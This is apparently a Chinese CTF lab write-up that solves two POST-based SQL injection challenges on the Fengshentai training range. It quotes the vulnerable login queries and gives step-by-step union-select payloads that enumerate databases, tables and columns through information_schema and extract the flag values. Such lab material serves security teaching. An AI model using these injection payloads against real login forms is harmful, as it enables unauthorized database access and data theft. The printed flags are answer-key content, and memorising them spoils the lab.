封神台靶场-POST注入
思维导图
POST注入(一)
核心代码
$sql = "select *from user where username '$username' and password='$password'";
我们注意到这里是直接用单引号拼接的,所以我们直接用单引号闭合就好,测试方法和GET注入时是一样的
判断注入存在
http://inject2.lab.aqlab.cn/Pass-05/index.php
POST传参:username=' or 1=1 -- qwe
#页面正常
http://inject2.lab.aqlab.cn/Pass-05/index.php
POST传参:username=' or 1=2 -- qwe
#页面异常
判断字段数
POST传参:
username=' or 1=1 order by 3-- qwe #页面正常
username=' or 1=1 order by 4-- qwe #页面异常
得出字段数为3
判断显错点
POST传参:
username=' union select 1,2,3-- qwe
得出显错点为2,3位
开始注入,信息收集
#以下全部采用POST传参方式
#查询数据库名
username=' union select 1,2,database()-- qwe
得出数据库名:post_error
#查询当前数据库下表名
username=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
得出表名:flag,user
#查询flag表下字段名
username=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'-- qwe
得出flag表字段名:Id,flag
#查询flag表的flag数据:
username=' union select 1,2,group_concat(flag) from flag-- qwe
得出flag:zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1
提交验证zKaQ-PostK1是本题flag
POST注入(二)
核心代码
$sql='select *from user where username =("$username") and password=("$password")'
易见,本题需提供")进行闭合
判断注入存在
http://inject2.lab.aqlab.cn/Pass-06/index.php
POST传参:username=") or 1=1-- qwe
#页面正常
http://inject2.lab.aqlab.cn/Pass-06/index.php
POST传参:username=") or 1=2-- qwe
#页面异常
判断字段数
POST传参:
username=") or 1=1 order by 3-- qwe #页面正常
username=") or 1=1 order by 4-- qwe #页面异常
得出字段数为3
判断显错点
POST传参:
username=") union select 1,2,3-- qwe
得出显错点为2,3位
开始注入,信息收集
#以下全部采用POST传参方式
#查询数据库名
username=") union select 1,2,database()-- qwe
得出数据库名:post_error
#查询当前数据库下表名
username=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- qwe
得出表名:flag,user
#查询flag表下字段名
username=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'-- qwe
得出flag表字段名:Id,flag
#查询flag表的flag数据:
username=") union select 1,2,group_concat(flag) from flag-- qwe
得出flag:zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1
提交验证zKaQ-XZT是本题flag